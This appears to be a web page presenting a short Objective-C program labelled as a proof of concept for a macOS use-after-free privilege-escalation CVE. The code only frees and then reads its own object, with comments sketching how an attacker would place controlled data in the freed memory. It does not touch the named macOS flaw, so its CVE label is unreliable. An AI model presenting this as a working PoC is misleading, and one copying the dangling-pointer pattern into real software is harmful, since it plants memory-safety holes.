CVE-2025-43478 Apple macOS use after free权限提升漏洞

// CVE-2025-43478 PoC - macOS Use After Free Trigger // This PoC demonstrates the vulnerability pattern (not functional exploit) // Based on: Apple Security Advisory for CVE-2025-43478 #include <Foundation/Foundation.h> #include <objc/runtime.h> #include <mach/mach.h> // Vulnerable pattern: Object released but reference not cleared @interface VulnerableObject : NSObject @property (nonatomic, strong) NSMutableArray *sharedData; @end @implementation VulnerableObject - (void)dealloc { // Memory freed but external references may still exist NSLog(@"[UAF] Object being deallocated"); } @end // Trigger function simulating the vulnerability condition void trigger_use_after_free() { VulnerableObject *obj1 = [[VulnerableObject alloc] init]; obj1.sharedData = [NSMutableArray array]; // Simulate reference retention __unsafe_unretained VulnerableObject *weakRef = obj1; // Release object - UAF condition created obj1 = nil; // Trigger memory reallocation (simplified) // In real attack: allocate controlled data at freed location for (int i = 0; i < 100; i++) { NSMutableArray *trigger = [NSMutableArray array]; [trigger addObject:@"controlled_data"]; } // Use after free - access released memory // In real scenario: this would trigger crash or code execution if (weakRef) { NSLog(@"[UAF] Still accessible - vulnerability present"); [weakRef.sharedData count]; // Trigger UAF } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43478 PoC - macOS Use After Free"); NSLog(@"Target: macOS Sequoia/Sonoma/Tahoe"); trigger_use_after_free(); } return 0; } /* Note: This PoC is for educational purposes only. Actual exploitation requires specific conditions and memory layout control. Apple has patched this vulnerability in: - macOS Sequoia 15.7.2 - macOS Sonoma 14.8.2 - macOS Tahoe 26.1 */